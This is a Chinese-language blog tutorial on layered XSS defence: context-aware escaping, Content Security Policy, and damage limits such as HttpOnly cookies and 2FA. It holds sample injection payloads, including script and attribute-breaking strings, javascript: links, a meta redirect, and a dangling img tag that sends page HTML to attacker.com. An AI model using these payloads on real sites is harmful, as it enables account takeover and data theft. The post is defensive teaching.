淺談 XSS 攻擊與防禦的各個環節

# 前言

談到 XSS（Cross-site scripting），許多人可能都只想到「就是網站上被攻擊者植入程式碼」，但若是仔細去想的話，會發現這之中其實還有很多環節都可以再深入探討。

而我所謂的這些「環節」，也可以理解成不同的「關卡」。

舉例來說，第一關當然就是盡可能防止自己的網站被 XSS 攻擊，不要讓攻擊者在網站中能夠植入程式碼。而「讓攻擊者在網站中植入程式碼」這件事，又可以往下再細分成不同地方的植入，例如說 HTML 的植入，或者是 HTML 元素屬性中的植入，又或是 JavaScript 程式碼中的植入，這些都有著不同的攻擊以及防禦方式。

而除了防止被植入程式碼以外，防守方應該還要進一步去想：「那如果真的不幸被植入程式碼了，可以怎麼辦？」

這就是第二個關卡。雖然說第一關我們已經盡可能做好準備了，但難保不會有漏洞產生，因此守好第一關是不夠的，也要對第二關進行防守。

假設今天攻擊者真的找到一個地方植入程式碼，那我們是不是可以想辦法阻止它執行？這就是 CSP（Content Security Policy）出場的時候了，藉由設定一些規則讓不合法的程式碼無法執行。例如說可以讓 inline 的 JavaScript 無法執行，那 <img src=x onerror=alert(1)> 就會變得無效。

若是攻擊者真的很厲害，連 CSP 的規則都繞過了呢？這時就進入到第三關了，第三關的假設是攻擊者已經能夠在網站上執行任意程式碼。

這時候還可以防守什麼呢？那就是試圖把損害控制到最低。

以 Medium 這種部落格的平台來說，若是可以利用 XSS 把別人的帳號奪走（account takevoer），就是個嚴重的漏洞；或是因為 Medium 有付費牆的功能，因此若是能透過 XSS 把錢轉到攻擊者的帳號，也會是一個很嚴重的問題。

而我們要在「網站已經被 XSS」的前提下，試圖去防禦這些攻擊。

接著，就讓我們來看看不同的關卡有哪些不同的防禦方法。

# 第一關：阻止攻擊者在網站植入程式碼

要防止 XSS 的第一步，當然就是阻止攻擊者在網站上植入他們想要的東西，核心精神可以濃縮成一句：

永遠不要相信使用者的輸入

只要是有輸入的地方，都應該去做驗證。在輸出不被信任的資料時應該要做跳脫（escape）。

舉例來說，今天有個地方可以讓使用者設定自己的暱稱，因為使用者可以自己輸入東西，所以在輸出這邊的資料時就要特別注意。

如果在 render 時就是直接把使用者的輸入原封不動 render 出來，那若是使用者輸入的暱稱是：<script>alert(1)</script>，任何人瀏覽這一頁的時候就會看到畫面跳出一個 alert，因為暱稱輸入的東西被當作程式碼執行了。

這種攻擊可以成立的主因就是使用者的輸入變成了程式碼的一部分，導致未預期的行為。

要防止這種行為，就是在 render 的時候要做跳脫。例如說要先把 < 轉成 &lt，這樣在畫面上看到的依然是 <，但是對 parser 來說那並不是標籤開始的符號，而是文字的 <，就不會被當作 HTML 標籤來解析。

如此一來，就能防止攻擊者植入程式碼。

不過，這還只是對跳脫的粗淺理解而已，真正需要注意的是在不同的情境之下，可能會需要用不同的方式跳脫，就如同這兩篇講的一樣：

假設你只有想到說要對標籤做跳脫，把 <> 這兩個符號都做了 escape，那確實沒有辦法直接插入標籤。可是，如果 render 暱稱的地方是這樣呢？

<img src="<?= avatar_url ?>" alt="<?= nickname ?>" /><div><?= nickname ?></div>

除了在 div 裡面輸出暱稱之外，也會在 img 的 alt 標籤裡把暱稱 render 出來。這時候如果只跳脫了 <> 是不夠的，因為如果我讓 nickname 變成 " onload="alert(1) 的話，結合起來就會變成：

<img src="avatar_url" alt="" onload="alert(1)" /><div>" onload="alert(1)</div>

攻擊者可以利用 " 關閉前面的屬性，然後創出一個新的屬性 onload，達成 HTML 標籤屬性利用的 XSS。

所以常見的特殊符號像是 "'<> 都要去做 escape，才能確保在不同地方時都有防禦效果。而這點其實許多程式語言或是 framework 都有做到了，例如說 PHP 的 htmlspecialchars：

xss1

那這樣就打完收工了嗎？還沒。

因為，在連結裡的內容又是另外一回事了，例如說：<a href="<?= link ?>">my website</a>

有一種東西叫做 JavaScript pseudo-protocol，可以利用 javascript: 來執行 JS 程式碼，像是這樣：<a href="javascript:alert(1)">my website</a>，在使用者點擊這個連結時，就會跳出 alert。

而 javascript:alert(1) 這幾個字，完全沒有包含我們上面需要 escape 的特殊字元 "'<>&，所以在這個狀況我們需要有不同的 escape 方法，或者是直接檢查內容，指定開頭必須要是 http:// 或是 http:// 之類的。

這就是我剛剛講的，在不同地方，需要用不同的方式來進行跳脫及防禦。如果都是用同一種的話，有些地方就會失效。

有些人看到這邊會想說：「阿～不用擔心啦！我用的前端框架都幫我做好了，預設都會 escape 啦！不會被 XSS」

這個宣稱大部分是對的，現在確實很多前端的框架會處理這件事，但要特別注意我剛剛提的 href 的例子，因為 javascript:alert(1) 這幾個字元都不是特殊字元，所以跳脫完還是長一樣，依然會有這樣的漏洞。

React 在 v16.9 的時候就針對這個 case 新增了警告：Deprecating javascript: URLs，並且在之後的 release 中會自動阻擋這個行為。不過根據測試的結果，目前的版本 v17.0.2 只會警告而已，還不會阻擋。

這邊有一些相關的討論：React@16.9 block javascript:void(0); #16592 與 False-positive security precaution warning (javascript: URLs) #16382，想看程式碼的話在這邊：react/packages/react-dom/src/shared/sanitizeURL.js 。

除了看使用情境跳脫不是件容易的事情以外，意識到有哪些地方是使用者可以自己輸入的也沒有想像中簡單。

因為除了資料庫或者是 API 是你的資料來源之外，URL 可能也是。有些程式碼會直接把網址列上的某個 query string 放到 JS 裡，之後直接把這個變數輸出到畫面上，這就是無意間信任了不該信任的資料。

舉例來說，搜尋頁面的網址可能長這樣：https://example.com/search?q=hello，而在程式中是這樣寫的：

const q = 'hello' // 從網址列拿下來的參數
document.querySelector('.search').innerHTML = q

這時如果你把 q 換成 HTML：<script>alert(1)</script>，在沒做跳脫就輸出的狀況下，就會有 XSS 漏洞的產生。

最後呢，有些網站會允許內容有部分的 HTML，最常見的就是部落格，因為部落格要有樣式嘛，除非是自訂資料格式，不然有些網站都直接把內文存成 HTML，然後用 DOMPurify 或是 js-xss 之類的套件去過濾，把不合法的標籤或是屬性過濾掉。

雖然說使用這些 library 相對安全，但需要注意的是版本要時常更新，因為這類型的套件也可能會有漏洞的產生（Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass）。另外也需要注意使用時的設定，設定錯誤的話也有可能造成問題，實際案例可以參考：防止 XSS 可能比想像中困難。

總結一下，想要做好第一關的 XSS 防禦，需要注意的事情有：

意識到哪邊是使用者可以自己輸入資料的地方
針對不同情境去做 XSS 的防禦

也可以考慮導入現成的 WAF（Web Application Firewall），直接幫你把一些看起來很可疑的 payload 擋住。不過 WAF 也不是百分百有效，只是多一道防線而已。
或是也可以關心一下這個比較新的東西：Trusted Types。

# 第二關：阻止惡意程式碼被執行

假設第一關被突破了，攻擊者可以在網站上插入任意程式碼，這時候要考慮的事情就是如何阻止程式碼被執行。

這一關的重點是 CSP，Content Security Policy。

CSP 是一系列的規則，用來跟瀏覽器講說哪些來源的資源可以被載入，哪些不行，可以利用 response header 或是 <meta> tag 來指定頁面的 CSP 規則。

舉例來說，如果我很確定網站上的 JS 都來自於同一個 origin，那我的 CSP 就可以這樣寫：

Content-Security-Policy: default-src 'self'; script-src 'self'

self 代表的是 same origin 的意思。這樣寫的話，如果你試著載入不是當前 origin 的 JS，或者是直接在頁面上用 inline 的方式執行 script，都會看到瀏覽器報錯：

xss2

CSP 可以制定許多不同資源的規則，需要更詳細的解釋可以看這邊：Content Security Policy Reference。想找到比較完整的 CSP，去看一些大公司的實作是最快的，接著我們直接來看一下 GitHub 的 CSP 長什麼樣子（為了方便閱讀，有重新排版過）：

default-src 'none'

base-uri 'self';

block-all-mixed-content;

connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com
api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com
github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com
html-translator.herokuapp.com cdn.optimizely.com logx.optimizely.com/v1/events wss://alive.github.com
*.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations
insights.github.com;

font-src github.githubassets.com;

form-action 'self' github.com gist.github.com;

frame-ancestors 'none';

frame-src render.githubusercontent.com;

img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com
secured-user-images.githubusercontent.com/ *.githubusercontent.com;

manifest-src 'self';

media-src github.com user-images.githubusercontent.com/;

script-src github.githubassets.com;

style-src 'unsafe-inline' github.githubassets.com;

worker-src github.com/socket-worker-3f088aa2.js gist.github.com/socket-worker-3f088aa2.js

想要檢查 CSP 規則有沒有明顯漏洞的話，可以到 CSP Evaluator，而 GitHub 的 CSP 設置得很嚴謹，幾乎每一種資源都有設定。

這邊可以看到 script-src 的值只有 github.githubassets.com。因為沒有 unsafe-inline 的關係，所以 inline script 無法執行，而引入 script 的話也只能從 github.githubassets.com 這個來源引入，幾乎封死了執行 script 的路。

而許多網站的 CSP 其實並不會設置得這麼嚴格，就有比較高的機率會被繞過，例如說 A Wormable XSS on HackMD! 直接用 cloudflare CDN 上的 AngularJS + CSTI 繞過；HackMD Stored XSS & Bypass CSP with Google Tag Manager 則是用 Google Tag Manager 來繞。

另外，在某些情境之下就算乍看被封死，依然可以透過現有的 script 來幫你繞過，詳細資訊可以參考這個很經典的演講：Breaking XSS mitigations via Script gadgets。

那如果真的沒辦法執行 script，還有什麼可以做的呢？

就算只是插入 HTML，也還是可以做事的。

例如說可以利用插入 HTML meta tag 來造成重新導向，把使用者導到惡意網站去，像這樣：<meta http-equiv="refresh" content="0;https://example.com">。

或者是插入 <img src="https://attacker.com?q=（注意這邊 src 的雙引號只有開頭），讓整段 HTML 變成：

<img src="https://attacker.com?q=
<div>user info</div>
<div>sensitive data</div>
<div class="test"></div>

藉由 src 沒有閉合的 "，就可以拿到下一個 " 為止的 HTML 內容，把這些當作 query string 的一部分傳到 server，而這中間可能就會有一些敏感資料的存在。所以 img-src 的 CSP 規則也是有用處的，可以防止這類型的攻擊。

或也可以結合 DOM Clobbering，看看有沒有什麼地方可以攻擊。

因此，就算不能執行 script，依然有其他攻擊手法可以用。

GitHub 在 2017 年時有寫過一篇 GitHub’s post-CSP journey，特別講了他們的 CSP 是怎麼設計的，是為了防範哪些已知的攻擊，寫得非常不錯。他們甚至還有一個 bug bounty 是 GitHub CSP，就算沒有找到 XSS 也沒有關係，只要提出能繞過 CSP 的手法就可以拿到獎金。

# 第三關：降低 XSS 攻擊之損害

如果街亭跟前兩關都沒守住，XSS 勢在必行的話，接下來要思考的就是該如何降低 XSS 攻擊之損害。

這邊我覺得有兩個面向可以去思考：

避免攻擊者用受害者的身份登入
避免攻擊者透過 XSS 進行比較重要的操作

先來談第一種，有一種最常見的攻擊方式就是偷 cookie，把 document.cookie 偷走之後，若是使用者驗證身份的 token 在裡面，就可以直接用受害者的身份登入。因此這種驗證用的 cookie，請記得設定 HttpOnly，就能確保前端無法直接用 document.cookie 就取得 cookie。

如果因為各種原因沒辦法保護使用者的 token，那就可以再設下其他關卡，例如說最常見的就是地點的檢查。假設一個使用者一直以來都在台灣，可是卻突然在烏克蘭發了一個 request，這時就可以先把這個操作擋住，並寄信告知使用者有可疑操作，麻煩他確認是否為本人。或也可以檢查使用者的瀏覽器是否一致，不一致的話一樣要先經過確認，加上另一道手續來保障使用者的安全。

再來談第二種，就算 cookie 沒被偷走，因為攻擊者已經能執行任意程式碼了，所以直接打後端 API 還是做得到的，而且 cookie 會自動帶上。因此只要是使用者可以做的操作，攻擊者基本上都做得到。

以部落格平台來說的話，發文、編輯文章或是刪文都是做得到的，攻擊者就只要直接利用 XSS 去打 API 就行了。

這時候對於一些比較重要的操作，就應該設置第二道關卡，例如說更改密碼需要輸入原密碼，那這樣因為攻擊者不知道原密碼是什麼，打 API 也沒有用。或者是要轉帳的時候需要用手機接收驗證碼，沒有手機的話就無法執行操作。

xss3

其實說白話一點就是 2FA（Two-factor authentication）啦。對於這些重要操作，除了登入之外還要設下第二種可以確認是本人的機制，這樣就算被打出 XSS，攻擊者也無法執行這些操作，可以讓損害降低。

# 總結

資安的世界既廣又深，這篇提到的都只是大方向的概觀而已。若是再深入下去，每個環節都可以再變成多個獨立的主題，而且也可以結合其他的攻擊，例如說：

自訂的 XSS 過濾規則有沒有可能有漏洞，會被繞過？有的話又該怎麼繞？
儘管都過濾了，會不會其實 server side 的漏洞可以幫忙繞過？例如說 double encoding
CSP 設得夠嚴謹嗎？有沒有現成的繞過方式？
2FA 機制有實作完整嗎？rate limit 有設好嗎？沒有設的話是不是暴力破解就被爆破了？
忘記密碼的機制有實作正確嗎？會不會可以用別人的身份幫忙重設密碼？

XSS 並不是全有或是全無這麼簡單，有的網站雖然被 XSS，但影響範圍有限，而有的網站一被 XSS，連使用者的帳號密碼都可以輕易更改，直接把帳號給搶過來。

在防禦 XSS 的時候，如果只防禦了第一關，只有想到「我要把 render 的內容 escape」就容易造成上面所講的狀況，要嘛就是整個網站都很安全連 XSS 都沒有，要嘛就是一被打出 XSS，整個網站就被打穿。

所以在防禦的時候必須注意到上面提的這些不同的環節，針對每個環節都去做防禦，設下多個防線。就算攻擊者可以突破第一關，可能也會被第二關的 CSP 擋下，無法執行 JS；就算第二關被破了，還有第三關守著，降低 XSS 的影響程度，不會因為一個漏洞就讓使用者的帳戶整個被搶走。

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#Security #Front-end